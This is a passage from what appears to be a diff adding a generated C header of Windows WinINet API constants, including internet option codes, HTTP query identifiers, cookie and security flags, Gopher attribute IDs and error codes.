0x80000000 +#define INTERNET_FLAG_RAW_DATA 0x40000000 +#define INTERNET_FLAG_EXISTING_CONNECT 0x20000000 +#define INTERNET_FLAG_ASYNC 0x10000000 +#define INTERNET_FLAG_PASSIVE 0x8000000 +#define INTERNET_FLAG_NO_CACHE_WRITE 0x4000000 +#define INTERNET_FLAG_DONT_CACHE 0x4000000 +#define INTERNET_FLAG_MAKE_PERSISTENT 0x2000000 +#define INTERNET_FLAG_FROM_CACHE 0x1000000 +#define INTERNET_FLAG_OFFLINE 0x1000000 +#define INTERNET_FLAG_SECURE 0x800000 +#define INTERNET_FLAG_KEEP_CONNECTION 0x400000 +#define INTERNET_FLAG_NO_AUTO_REDIRECT 0x200000 +#define INTERNET_FLAG_READ_PREFETCH 0x100000 +#define INTERNET_FLAG_NO_COOKIES 0x80000 +#define INTERNET_FLAG_NO_AUTH 0x40000 +#define INTERNET_FLAG_CACHE_IF_NET_FAIL 0x10000 +#define INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP 0x8000 +#define INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS 0x4000 +#define INTERNET_FLAG_IGNORE_CERT_DATE_INVALID 0x2000 +#define INTERNET_FLAG_IGNORE_CERT_CN_INVALID 0x1000 +#define INTERNET_FLAG_RESYNCHRONIZE 0x800 +#define INTERNET_FLAG_HYPERLINK 0x400 +#define INTERNET_FLAG_NO_UI 0x200 +#define INTERNET_FLAG_PRAGMA_NOCACHE 0x100 +#define INTERNET_FLAG_CACHE_ASYNC 0x80 +#define INTERNET_FLAG_FORMS_SUBMIT 0x40 +#define INTERNET_FLAG_FWD_BACK 0x20 +#define INTERNET_FLAG_NEED_FILE 0x10 +#define INTERNET_FLAG_MUST_CACHE_REQUEST 0x10 +#define INTERNET_ERROR_MASK_INSERT_CDROM 0x1 +#define INTERNET_ERROR_MASK_COMBINED_SEC_CERT 0x2 +#define INTERNET_ERROR_MASK_NEED_MSN_SSPI_PKG 0x4 +#define INTERNET_ERROR_MASK_LOGIN_FAILURE_DISPLAY_ENTITY_BODY 0x8 +#define WININET_API_FLAG_ASYNC 0x1 +#define WININET_API_FLAG_SYNC 0x4 +#define WININET_API_FLAG_USE_CONTEXT 0x8 +#define INTERNET_NO_CALLBACK 0x0 +#define IDSI_FLAG_KEEP_ALIVE 0x1 +#define IDSI_FLAG_SECURE 0x2 +#define IDSI_FLAG_PROXY 0x4 +#define IDSI_FLAG_TUNNEL 0x8 +#define INTERNET_PER_CONN_FLAGS_UI 0xa +#define PROXY_TYPE_DIRECT 0x1 +#define PROXY_TYPE_PROXY 0x2 +#define PROXY_TYPE_AUTO_PROXY_URL 0x4 +#define PROXY_TYPE_AUTO_DETECT 0x8 +#define AUTO_PROXY_FLAG_USER_SET 0x1 +#define AUTO_PROXY_FLAG_ALWAYS_DETECT 0x2 +#define AUTO_PROXY_FLAG_DETECTION_RUN 0x4 +#define AUTO_PROXY_FLAG_MIGRATED 0x8 +#define AUTO_PROXY_FLAG_DONT_CACHE_PROXY_RESULT 0x10 +#define AUTO_PROXY_FLAG_CACHE_INIT_RUN 0x20 +#define AUTO_PROXY_FLAG_DETECTION_SUSPECT 0x40 +#define ISO_FORCE_DISCONNECTED 0x1 +#define INTERNET_RFC1123_FORMAT 0x0 +#define INTERNET_RFC1123_BUFSIZE 0x1e +#define ICU_USERNAME 0x40000000 +#define INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY 0x4 +#define INTERNET_SERVICE_FTP 0x1 +#define INTERNET_SERVICE_GOPHER 0x2 +#define INTERNET_SERVICE_HTTP 0x3 +#define IRF_ASYNC 0x1 +#define IRF_SYNC 0x4 +#define IRF_USE_CONTEXT 0x8 +#define IRF_NO_WAIT 0x8 +#define ISO_GLOBAL 0x1 +#define ISO_REGISTRY 0x2 +#define INTERNET_OPTION_CALLBACK 0x1 +#define INTERNET_OPTION_CONNECT_TIMEOUT 0x2 +#define INTERNET_OPTION_CONNECT_RETRIES 0x3 +#define INTERNET_OPTION_CONNECT_BACKOFF 0x4 +#define INTERNET_OPTION_SEND_TIMEOUT 0x5 +#define INTERNET_OPTION_CONTROL_SEND_TIMEOUT 0x5 +#define INTERNET_OPTION_RECEIVE_TIMEOUT 0x6 +#define INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT 0x6 +#define INTERNET_OPTION_DATA_SEND_TIMEOUT 0x7 +#define INTERNET_OPTION_DATA_RECEIVE_TIMEOUT 0x8 +#define INTERNET_OPTION_HANDLE_TYPE 0x9 +#define INTERNET_OPTION_LISTEN_TIMEOUT 0xb +#define INTERNET_OPTION_READ_BUFFER_SIZE 0xc +#define INTERNET_OPTION_WRITE_BUFFER_SIZE 0xd +#define INTERNET_OPTION_ASYNC_ID 0xf +#define INTERNET_OPTION_ASYNC_PRIORITY 0x10 +#define INTERNET_OPTION_PARENT_HANDLE 0x15 +#define INTERNET_OPTION_KEEP_CONNECTION 0x16 +#define INTERNET_OPTION_REQUEST_FLAGS 0x17 +#define INTERNET_OPTION_EXTENDED_ERROR 0x18 +#define INTERNET_OPTION_OFFLINE_MODE 0x1a +#define INTERNET_OPTION_CACHE_STREAM_HANDLE 0x1b +#define INTERNET_OPTION_USERNAME 0x1c +#define INTERNET_OPTION_PASSWORD 0x1d +#define INTERNET_OPTION_ASYNC 0x1e +#define INTERNET_OPTION_SECURITY_FLAGS 0x1f +#define INTERNET_OPTION_SECURITY_CERTIFICATE_STRUCT 0x20 +#define INTERNET_OPTION_DATAFILE_NAME 0x21 +#define INTERNET_OPTION_URL 0x22 +#define INTERNET_OPTION_SECURITY_CERTIFICATE 0x23 +#define INTERNET_OPTION_SECURITY_KEY_BITNESS 0x24 +#define INTERNET_OPTION_REFRESH 0x25 +#define INTERNET_OPTION_PROXY 0x26 +#define INTERNET_OPTION_SETTINGS_CHANGED 0x27 +#define INTERNET_OPTION_VERSION 0x28 +#define INTERNET_OPTION_USER_AGENT 0x29 +#define INTERNET_OPTION_END_BROWSER_SESSION 0x2a +#define INTERNET_OPTION_PROXY_USERNAME 0x2b +#define INTERNET_OPTION_PROXY_PASSWORD 0x2c +#define INTERNET_OPTION_CONTEXT_VALUE 0x2d +#define INTERNET_OPTION_CONNECT_LIMIT 0x2e +#define INTERNET_OPTION_SECURITY_SELECT_CLIENT_CERT 0x2f +#define INTERNET_OPTION_POLICY 0x30 +#define INTERNET_OPTION_DISCONNECTED_TIMEOUT 0x31 +#define INTERNET_OPTION_CONNECTED_STATE 0x32 +#define INTERNET_OPTION_IDLE_STATE 0x33 +#define INTERNET_OPTION_OFFLINE_SEMANTICS 0x34 +#define INTERNET_OPTION_SECONDARY_CACHE_KEY 0x35 +#define INTERNET_OPTION_CALLBACK_FILTER 0x36 +#define INTERNET_OPTION_CONNECT_TIME 0x37 +#define INTERNET_OPTION_SEND_THROUGHPUT 0x38 +#define INTERNET_OPTION_RECEIVE_THROUGHPUT 0x39 +#define INTERNET_OPTION_REQUEST_PRIORITY 0x3a +#define INTERNET_OPTION_HTTP_VERSION 0x3b +#define INTERNET_OPTION_RESET_URLCACHE_SESSION 0x3c +#define INTERNET_OPTION_ERROR_MASK 0x3e +#define INTERNET_OPTION_FROM_CACHE_TIMEOUT 0x3f +#define INTERNET_OPTION_BYPASS_EDITED_ENTRY 0x40 +#define INTERNET_OPTION_HTTP_DECODING 0x41 +#define INTERNET_OPTION_DIAGNOSTIC_SOCKET_INFO 0x43 +#define INTERNET_OPTION_CODEPAGE 0x44 +#define INTERNET_OPTION_CACHE_TIMESTAMPS 0x45 +#define INTERNET_OPTION_DISABLE_AUTODIAL 0x46 +#define INTERNET_OPTION_MAX_CONNS_PER_SERVER 0x49 +#define INTERNET_OPTION_MAX_CONNS_PER_1_0_SERVER 0x4a +#define INTERNET_OPTION_PER_CONNECTION_OPTION 0x4b +#define INTERNET_OPTION_DIGEST_AUTH_UNLOAD 0x4c +#define INTERNET_OPTION_IGNORE_OFFLINE 0x4d +#define INTERNET_OPTION_IDENTITY 0x4e +#define INTERNET_OPTION_REMOVE_IDENTITY 0x4f +#define INTERNET_OPTION_ALTER_IDENTITY 0x50 +#define INTERNET_OPTION_SUPPRESS_BEHAVIOR 0x51 +#define INTERNET_OPTION_AUTODIAL_MODE 0x52 +#define INTERNET_OPTION_AUTODIAL_CONNECTION 0x53 +#define INTERNET_OPTION_CLIENT_CERT_CONTEXT 0x54 +#define INTERNET_OPTION_AUTH_FLAGS 0x55 +#define INTERNET_OPTION_COOKIES_3RD_PARTY 0x56 +#define INTERNET_OPTION_DISABLE_PASSPORT_AUTH 0x57 +#define INTERNET_OPTION_SEND_UTF8_SERVERNAME_TO_PROXY 0x58 +#define INTERNET_OPTION_EXEMPT_CONNECTION_LIMIT 0x59 +#define INTERNET_OPTION_ENABLE_PASSPORT_AUTH 0x5a +#define INTERNET_OPTION_HIBERNATE_INACTIVE_WORKER_THREADS 0x5b +#define INTERNET_OPTION_ACTIVATE_WORKER_THREADS 0x5c +#define INTERNET_OPTION_RESTORE_WORKER_THREAD_DEFAULTS 0x5d +#define INTERNET_OPTION_SOCKET_SEND_BUFFER_LENGTH 0x5e +#define INTERNET_OPTION_PROXY_SETTINGS_CHANGED 0x5f +#define INTERNET_OPTION_DATAFILE_EXT 0x60 +#define INTERNET_OPTION_CODEPAGE_PATH 0x64 +#define INTERNET_OPTION_CODEPAGE_EXTRA 0x65 +#define INTERNET_OPTION_IDN 0x66 +#define INTERNET_OPTION_MAX_CONNS_PER_PROXY 0x67 +#define INTERNET_OPTION_SUPPRESS_SERVER_AUTH 0x68 +#define INTERNET_OPTION_SERVER_CERT_CHAIN_CONTEXT 0x69 +#define INTERNET_OPTION_ENABLE_REDIRECT_CACHE_READ 0x7a +#define INTERNET_OPTION_COMPRESSED_CONTENT_LENGTH 0x93 +#define INTERNET_OPTION_ENABLE_HTTP_PROTOCOL 0x94 +#define INTERNET_OPTION_HTTP_PROTOCOL_USED 0x95 +#define INTERNET_OPTION_ENCODE_EXTRA 0x9b +#define INTERNET_OPTION_HSTS 0x9d +#define INTERNET_OPTION_ENTERPRISE_CONTEXT 0x9f +#define INTERNET_OPTION_CONNECTION_FILTER 0xa2 +#define INTERNET_OPTION_REFERER_TOKEN_BINDING_HOSTNAME 0xa3 +#define INTERNET_OPTION_TOKEN_BINDING_PUBLIC_KEY 0xb5 +#define INTERNET_OPTION_COOKIES_SAME_SITE_LEVEL 0xbb +#define INTERNET_OPTION_REQUEST_ANNOTATION 0xc1 +#define INTERNET_FIRST_OPTION 0x1 +#define INTERNET_LAST_OPTION 0xc1 +#define INTERNET_PRIORITY_FOREGROUND 0x3e8 +#define HTTP_COOKIES_SAME_SITE_LEVEL_UNKNOWN 0x0 +#define HTTP_COOKIES_SAME_SITE_LEVEL_SAME_SITE 0x1 +#define HTTP_COOKIES_SAME_SITE_LEVEL_CROSS_SITE_LAX 0x2 +#define HTTP_COOKIES_SAME_SITE_LEVEL_CROSS_SITE 0x3 +#define HTTP_COOKIES_SAME_SITE_LEVEL_MAX 0x3 +#define HTTP_PROTOCOL_FLAG_HTTP2 0x2 +#define HTTP_PROTOCOL_MASK 0x2 +#define INTERNET_OPTION_REQUEST_ANNOTATION_MAX_LENGTH 0xfa00 +#define INTERNET_HANDLE_TYPE_INTERNET 0x1 +#define INTERNET_HANDLE_TYPE_CONNECT_FTP 0x2 +#define INTERNET_HANDLE_TYPE_CONNECT_GOPHER 0x3 +#define INTERNET_HANDLE_TYPE_CONNECT_HTTP 0x4 +#define INTERNET_HANDLE_TYPE_FTP_FIND 0x5 +#define INTERNET_HANDLE_TYPE_FTP_FIND_HTML 0x6 +#define INTERNET_HANDLE_TYPE_FTP_FILE 0x7 +#define INTERNET_HANDLE_TYPE_FTP_FILE_HTML 0x8 +#define INTERNET_HANDLE_TYPE_GOPHER_FIND 0x9 +#define INTERNET_HANDLE_TYPE_GOPHER_FIND_HTML 0xa +#define INTERNET_HANDLE_TYPE_GOPHER_FILE 0xb +#define INTERNET_HANDLE_TYPE_GOPHER_FILE_HTML 0xc +#define INTERNET_HANDLE_TYPE_HTTP_REQUEST 0xd +#define INTERNET_HANDLE_TYPE_FILE_REQUEST 0xe +#define AUTH_FLAG_DISABLE_NEGOTIATE 0x1 +#define AUTH_FLAG_ENABLE_NEGOTIATE 0x2 +#define AUTH_FLAG_DISABLE_BASIC_CLEARCHANNEL 0x4 +#define AUTH_FLAG_DISABLE_SERVER_AUTH 0x8 +#define SECURITY_FLAG_UNKNOWNBIT 0x80000000 +#define SECURITY_FLAG_FORTEZZA 0x8000000 +#define SECURITY_FLAG_NORMALBITNESS 0x10000000 +#define SECURITY_FLAG_SSL 0x2 +#define SECURITY_FLAG_SSL3 0x4 +#define SECURITY_FLAG_PCT 0x8 +#define SECURITY_FLAG_PCT4 0x10 +#define SECURITY_FLAG_IETFSSL4 0x20 +#define SECURITY_FLAG_40BIT 0x10000000 +#define SECURITY_FLAG_128BIT 0x20000000 +#define SECURITY_FLAG_56BIT 0x40000000 +#define SECURITY_FLAG_IGNORE_REVOCATION 0x80 +#define SECURITY_FLAG_IGNORE_WRONG_USAGE 0x200 +#define SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS 0x4000 +#define SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP 0x8000 +#define SECURITY_FLAG_IGNORE_WEAK_SIGNATURE 0x10000 +#define SECURITY_FLAG_OPT_IN_WEAK_SIGNATURE 0x20000 +#define AUTODIAL_MODE_NEVER 0x1 +#define AUTODIAL_MODE_ALWAYS 0x2 +#define AUTODIAL_MODE_NO_NETWORK_PRESENT 0x4 +#define INTERNET_STATUS_RESOLVING_NAME 0xa +#define INTERNET_STATUS_NAME_RESOLVED 0xb +#define INTERNET_STATUS_CONNECTING_TO_SERVER 0x14 +#define INTERNET_STATUS_CONNECTED_TO_SERVER 0x15 +#define INTERNET_STATUS_SENDING_REQUEST 0x1e +#define INTERNET_STATUS_REQUEST_SENT 0x1f +#define INTERNET_STATUS_RECEIVING_RESPONSE 0x28 +#define INTERNET_STATUS_RESPONSE_RECEIVED 0x29 +#define INTERNET_STATUS_CTL_RESPONSE_RECEIVED 0x2a +#define INTERNET_STATUS_PREFETCH 0x2b +#define INTERNET_STATUS_CLOSING_CONNECTION 0x32 +#define INTERNET_STATUS_CONNECTION_CLOSED 0x33 +#define INTERNET_STATUS_HANDLE_CREATED 0x3c +#define INTERNET_STATUS_HANDLE_CLOSING 0x46 +#define INTERNET_STATUS_DETECTING_PROXY 0x50 +#define INTERNET_STATUS_REQUEST_COMPLETE 0x64 +#define INTERNET_STATUS_REDIRECT 0x6e +#define INTERNET_STATUS_INTERMEDIATE_RESPONSE 0x78 +#define INTERNET_STATUS_USER_INPUT_REQUIRED 0x8c +#define INTERNET_STATUS_STATE_CHANGE 0xc8 +#define INTERNET_STATUS_COOKIE_SENT 0x140 +#define INTERNET_STATUS_COOKIE_RECEIVED 0x141 +#define INTERNET_STATUS_PRIVACY_IMPACTED 0x144 +#define INTERNET_STATUS_P3P_HEADER 0x145 +#define INTERNET_STATUS_P3P_POLICYREF 0x146 +#define INTERNET_STATUS_COOKIE_HISTORY 0x147 +#define MAX_GOPHER_DISPLAY_TEXT 0x80 +#define MAX_GOPHER_SELECTOR_TEXT 0x100 +#define MAX_GOPHER_HOST_NAME 0x100 +#define MAX_GOPHER_CATEGORY_NAME 0x80 +#define MAX_GOPHER_ATTRIBUTE_NAME 0x80 +#define MIN_GOPHER_ATTRIBUTE_LENGTH 0x100 +// SKIPPED const GOPHER_INFO_CATEGORY: non-integer constant +// SKIPPED const GOPHER_ADMIN_CATEGORY: non-integer constant +// SKIPPED const GOPHER_VIEWS_CATEGORY: non-integer constant +// SKIPPED const GOPHER_ABSTRACT_CATEGORY: non-integer constant +// SKIPPED const GOPHER_VERONICA_CATEGORY: non-integer constant +// SKIPPED const GOPHER_ADMIN_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_MOD_DATE_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_TTL_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_SCORE_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_RANGE_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_SITE_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_ORG_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_LOCATION_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_GEOG_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_TIMEZONE_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_PROVIDER_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_VERSION_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_ABSTRACT_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_VIEW_ATTRIBUTE: non-integer constant +// SKIPPED const GOPHER_TREEWALK_ATTRIBUTE: non-integer constant +#define GOPHER_ATTRIBUTE_ID_BASE 0xabcccc00 +#define GOPHER_CATEGORY_ID_ALL 0xabcccc01 +#define GOPHER_CATEGORY_ID_INFO 0xabcccc02 +#define GOPHER_CATEGORY_ID_ADMIN 0xabcccc03 +#define GOPHER_CATEGORY_ID_VIEWS 0xabcccc04 +#define GOPHER_CATEGORY_ID_ABSTRACT 0xabcccc05 +#define GOPHER_CATEGORY_ID_VERONICA 0xabcccc06 +#define GOPHER_CATEGORY_ID_ASK 0xabcccc07 +#define GOPHER_CATEGORY_ID_UNKNOWN 0xabcccc08 +#define GOPHER_ATTRIBUTE_ID_ALL 0xabcccc09 +#define GOPHER_ATTRIBUTE_ID_ADMIN 0xabcccc0a +#define GOPHER_ATTRIBUTE_ID_MOD_DATE 0xabcccc0b +#define GOPHER_ATTRIBUTE_ID_TTL 0xabcccc0c +#define GOPHER_ATTRIBUTE_ID_SCORE 0xabcccc0d +#define GOPHER_ATTRIBUTE_ID_RANGE 0xabcccc0e +#define GOPHER_ATTRIBUTE_ID_SITE 0xabcccc0f +#define GOPHER_ATTRIBUTE_ID_ORG 0xabcccc10 +#define GOPHER_ATTRIBUTE_ID_LOCATION 0xabcccc11 +#define GOPHER_ATTRIBUTE_ID_GEOG 0xabcccc12 +#define GOPHER_ATTRIBUTE_ID_TIMEZONE 0xabcccc13 +#define GOPHER_ATTRIBUTE_ID_PROVIDER 0xabcccc14 +#define GOPHER_ATTRIBUTE_ID_VERSION 0xabcccc15 +#define GOPHER_ATTRIBUTE_ID_ABSTRACT 0xabcccc16 +#define GOPHER_ATTRIBUTE_ID_VIEW 0xabcccc17 +#define GOPHER_ATTRIBUTE_ID_TREEWALK 0xabcccc18 +#define GOPHER_ATTRIBUTE_ID_UNKNOWN 0xabcccc19 +#define HTTP_MAJOR_VERSION 0x1 +#define HTTP_MINOR_VERSION 0x0 +// SKIPPED const HTTP_VERSIONA: non-integer constant +// SKIPPED const HTTP_VERSIONW: non-integer constant +#define HTTP_QUERY_MIME_VERSION 0x0 +#define HTTP_QUERY_CONTENT_TYPE 0x1 +#define HTTP_QUERY_CONTENT_TRANSFER_ENCODING 0x2 +#define HTTP_QUERY_CONTENT_ID 0x3 +#define HTTP_QUERY_CONTENT_DESCRIPTION 0x4 +#define HTTP_QUERY_CONTENT_LENGTH 0x5 +#define HTTP_QUERY_CONTENT_LANGUAGE 0x6 +#define HTTP_QUERY_ALLOW 0x7 +#define HTTP_QUERY_PUBLIC 0x8 +#define HTTP_QUERY_DATE 0x9 +#define HTTP_QUERY_EXPIRES 0xa +#define HTTP_QUERY_LAST_MODIFIED 0xb +#define HTTP_QUERY_MESSAGE_ID 0xc +#define HTTP_QUERY_URI 0xd +#define HTTP_QUERY_DERIVED_FROM 0xe +#define HTTP_QUERY_COST 0xf +#define HTTP_QUERY_LINK 0x10 +#define HTTP_QUERY_PRAGMA 0x11 +#define HTTP_QUERY_VERSION 0x12 +#define HTTP_QUERY_STATUS_CODE 0x13 +#define HTTP_QUERY_STATUS_TEXT 0x14 +#define HTTP_QUERY_RAW_HEADERS 0x15 +#define HTTP_QUERY_RAW_HEADERS_CRLF 0x16 +#define HTTP_QUERY_CONNECTION 0x17 +#define HTTP_QUERY_ACCEPT 0x18 +#define HTTP_QUERY_ACCEPT_CHARSET 0x19 +#define HTTP_QUERY_ACCEPT_ENCODING 0x1a +#define HTTP_QUERY_ACCEPT_LANGUAGE 0x1b +#define HTTP_QUERY_AUTHORIZATION 0x1c +#define HTTP_QUERY_CONTENT_ENCODING 0x1d +#define HTTP_QUERY_FORWARDED 0x1e +#define HTTP_QUERY_FROM 0x1f +#define HTTP_QUERY_IF_MODIFIED_SINCE 0x20 +#define HTTP_QUERY_LOCATION 0x21 +#define HTTP_QUERY_ORIG_URI 0x22 +#define HTTP_QUERY_REFERER 0x23 +#define HTTP_QUERY_RETRY_AFTER 0x24 +#define HTTP_QUERY_SERVER 0x25 +#define HTTP_QUERY_TITLE 0x26 +#define HTTP_QUERY_USER_AGENT 0x27 +#define HTTP_QUERY_WWW_AUTHENTICATE 0x28 +#define HTTP_QUERY_PROXY_AUTHENTICATE 0x29 +#define HTTP_QUERY_ACCEPT_RANGES 0x2a +#define HTTP_QUERY_SET_COOKIE 0x2b +#define HTTP_QUERY_COOKIE 0x2c +#define HTTP_QUERY_REQUEST_METHOD 0x2d +#define HTTP_QUERY_REFRESH 0x2e +#define HTTP_QUERY_CONTENT_DISPOSITION 0x2f +#define HTTP_QUERY_AGE 0x30 +#define HTTP_QUERY_CACHE_CONTROL 0x31 +#define HTTP_QUERY_CONTENT_BASE 0x32 +#define HTTP_QUERY_CONTENT_LOCATION 0x33 +#define HTTP_QUERY_CONTENT_MD5 0x34 +#define HTTP_QUERY_CONTENT_RANGE 0x35 +#define HTTP_QUERY_ETAG 0x36 +#define HTTP_QUERY_HOST 0x37 +#define HTTP_QUERY_IF_MATCH 0x38 +#define HTTP_QUERY_IF_NONE_MATCH 0x39 +#define HTTP_QUERY_IF_RANGE 0x3a +#define HTTP_QUERY_IF_UNMODIFIED_SINCE 0x3b +#define HTTP_QUERY_MAX_FORWARDS 0x3c +#define HTTP_QUERY_PROXY_AUTHORIZATION 0x3d +#define HTTP_QUERY_RANGE 0x3e +#define HTTP_QUERY_TRANSFER_ENCODING 0x3f +#define HTTP_QUERY_UPGRADE 0x40 +#define HTTP_QUERY_VARY 0x41 +#define HTTP_QUERY_VIA 0x42 +#define HTTP_QUERY_WARNING 0x43 +#define HTTP_QUERY_EXPECT 0x44 +#define HTTP_QUERY_PROXY_CONNECTION 0x45 +#define HTTP_QUERY_UNLESS_MODIFIED_SINCE 0x46 +#define HTTP_QUERY_ECHO_REQUEST 0x47 +#define HTTP_QUERY_ECHO_REPLY 0x48 +#define HTTP_QUERY_ECHO_HEADERS 0x49 +#define HTTP_QUERY_ECHO_HEADERS_CRLF 0x4a +#define HTTP_QUERY_PROXY_SUPPORT 0x4b +#define HTTP_QUERY_AUTHENTICATION_INFO 0x4c +#define HTTP_QUERY_PASSPORT_URLS 0x4d +#define HTTP_QUERY_PASSPORT_CONFIG 0x4e +#define HTTP_QUERY_X_CONTENT_TYPE_OPTIONS 0x4f +#define HTTP_QUERY_P3P 0x50 +#define HTTP_QUERY_X_P2P_PEERDIST 0x51 +#define HTTP_QUERY_TRANSLATE 0x52 +#define HTTP_QUERY_X_UA_COMPATIBLE 0x53 +#define HTTP_QUERY_DEFAULT_STYLE 0x54 +#define HTTP_QUERY_X_FRAME_OPTIONS 0x55 +#define HTTP_QUERY_X_XSS_PROTECTION 0x56 +#define HTTP_QUERY_SET_COOKIE2 0x57 +#define HTTP_QUERY_DO_NOT_TRACK 0x58 +#define HTTP_QUERY_KEEP_ALIVE 0x59 +#define HTTP_QUERY_HTTP2_SETTINGS 0x5a +#define HTTP_QUERY_STRICT_TRANSPORT_SECURITY 0x5b +#define HTTP_QUERY_TOKEN_BINDING 0x5c +#define HTTP_QUERY_INCLUDE_REFERRED_TOKEN_BINDING_ID 0x5d +#define HTTP_QUERY_INCLUDE_REFERER_TOKEN_BINDING_ID 0x5d +#define HTTP_QUERY_PUBLIC_KEY_PINS 0x5e +#define HTTP_QUERY_PUBLIC_KEY_PINS_REPORT_ONLY 0x5f +#define HTTP_QUERY_MAX 0x5f +#define HTTP_QUERY_CUSTOM 0xffff +#define HTTP_QUERY_FLAG_REQUEST_HEADERS 0x80000000 +#define HTTP_QUERY_FLAG_SYSTEMTIME 0x40000000 +#define HTTP_QUERY_FLAG_NUMBER 0x20000000 +#define HTTP_QUERY_FLAG_COALESCE 0x10000000 +#define HTTP_QUERY_FLAG_NUMBER64 0x8000000 +#define HTTP_QUERY_FLAG_COALESCE_WITH_COMMA 0x4000000 +#define HTTP_STATUS_MISDIRECTED_REQUEST 0x1a5 +#define HTTP_ADDREQ_INDEX_MASK 0xffff +#define HTTP_ADDREQ_FLAGS_MASK 0xffff0000 +#define HSR_ASYNC 0x1 +#define HSR_SYNC 0x4 +#define HSR_USE_CONTEXT 0x8 +#define HSR_INITIATE 0x8 +#define HSR_DOWNLOAD 0x10 +#define HSR_CHUNKED 0x20 +#define INTERNET_COOKIE_IS_SECURE 0x1 +#define INTERNET_COOKIE_IS_SESSION 0x2 +#define INTERNET_COOKIE_PROMPT_REQUIRED 0x20 +#define INTERNET_COOKIE_EVALUATE_P3P 0x40 +#define INTERNET_COOKIE_APPLY_P3P 0x80 +#define INTERNET_COOKIE_P3P_ENABLED 0x100 +#define INTERNET_COOKIE_IS_RESTRICTED 0x200 +#define INTERNET_COOKIE_IE6 0x400 +#define INTERNET_COOKIE_IS_LEGACY 0x800 +#define INTERNET_COOKIE_NON_SCRIPT 0x1000 +#define INTERNET_COOKIE_HOST_ONLY 0x4000 +#define INTERNET_COOKIE_APPLY_HOST_ONLY 0x8000 +#define INTERNET_COOKIE_HOST_ONLY_APPLIED 0x80000 +#define INTERNET_COOKIE_SAME_SITE_STRICT 0x100000 +#define INTERNET_COOKIE_SAME_SITE_LAX 0x200000 +#define INTERNET_COOKIE_SAME_SITE_LEVEL_CROSS_SITE 0x400000 +#define FLAG_ICC_FORCE_CONNECTION 0x1 +#define FLAGS_ERROR_UI_FILTER_FOR_ERRORS 0x1 +#define FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS 0x2 +#define FLAGS_ERROR_UI_FLAGS_GENERATE_DATA 0x4 +#define FLAGS_ERROR_UI_FLAGS_NO_UI 0x8 +#define FLAGS_ERROR_UI_SERIALIZE_DIALOGS 0x10 +#define INTERNET_ERROR_BASE 0x2ee0 +#define ERROR_INTERNET_OUT_OF_HANDLES 0x2ee1 +#define ERROR_INTERNET_TIMEOUT 0x2ee2 +#define ERROR_INTERNET_EXTENDED_ERROR 0x2ee3 +#define ERROR_INTERNET_INTERNAL_ERROR 0x2ee4 +#define ERROR_INTERNET_INVALID_URL 0x2ee5 +#define ERROR_INTERNET_UNRECOGNIZED_SCHEME 0x2ee6 +#define ERROR_INTERNET_NAME_NOT_RESOLVED 0x2ee7 +#define ERROR_INTERNET_PROTOCOL_NOT_FOUND 0x2ee8 +#define ERROR_INTERNET_INVALID_OPTION 0x2ee9 +#define ERROR_INTERNET_BAD_OPTION_LENGTH 0x2eea +#define ERROR_INTERNET_OPTION_NOT_SETTABLE 0x2eeb +#define ERROR_INTERNET_SHUTDOWN 0x2eec +#define ERROR_INTERNET_INCORRECT_USER_NAME 0x2eed +#define ERROR_INTERNET_INCORRECT_PASSWORD 0x2eee +#define ERROR_INTERNET_LOGIN_FAILURE 0x2eef +#define ERROR_INTERNET_INVALID_OPERATION 0x2ef0 +#define ERROR_INTERNET_OPERATION_CANCELLED 0x2ef1 +#define ERROR_INTERNET_INCORRECT_HANDLE_TYPE 0x2ef2 +#define ERROR_INTERNET_INCORRECT_HANDLE_STATE 0x2ef3 +#define ERROR_INTERNET_NOT_PROXY_REQUEST 0x2ef4 +#define ERROR_INTERNET_REGISTRY_VALUE_NOT_FOUND 0x2ef5 +#define ERROR_INTERNET_BAD_REGISTRY_PARAMETER 0x2ef6 +#define ERROR_INTERNET_NO_DIRECT_ACCESS 0x2ef7 +#define ERROR_INTERNET_NO_CONTEXT 0x2ef8 +#define ERROR_INTERNET_NO_CALLBACK 0x2ef9 +#define ERROR_INTERNET_REQUEST_PENDING 0x2efa +#define ERROR_INTERNET_INCORRECT_FORMAT 0x2efb +#define ERROR_INTERNET_ITEM_NOT_FOUND 0x2efc +#define ERROR_INTERNET_CANNOT_CONNECT 0x2efd +#define ERROR_INTERNET_CONNECTION_ABORTED 0x2efe +#define ERROR_INTERNET_CONNECTION_RESET 0x2eff +#define ERROR_INTERNET_FORCE_RETRY 0x2f00 +#define ERROR_INTERNET_INVALID_PROXY_REQUEST 0x2f01 +#define ERROR_INTERNET_NEED_UI 0x2f02 +#define ERROR_INTERNET_HANDLE_EXISTS 0x2f04 +#define ERROR_INTERNET_SEC_CERT_DATE_INVALID 0x2f05 +#define ERROR_INTERNET_SEC_CERT_CN_INVALID 0x2f06 +#define ERROR_INTERNET_HTTP_TO_HTTPS_ON_REDIR 0x2f07 +#define ERROR_INTERNET_HTTPS_TO_HTTP_ON_REDIR 0x2f08 +#define ERROR_INTERNET_MIXED_SECURITY 0x2f09 +#define ERROR_INTERNET_CHG_POST_IS_NON_SECURE 0x2f0a +#define ERROR_INTERNET_POST_IS_NON_SECURE 0x2f0b +#define ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED 0x2f0c +#define ERROR_INTERNET_INVALID_CA 0x2f0d +#define ERROR_INTERNET_CLIENT_AUTH_NOT_SETUP 0x2f0e +#define ERROR_INTERNET_ASYNC_THREAD_FAILED 0x2f0f +#define 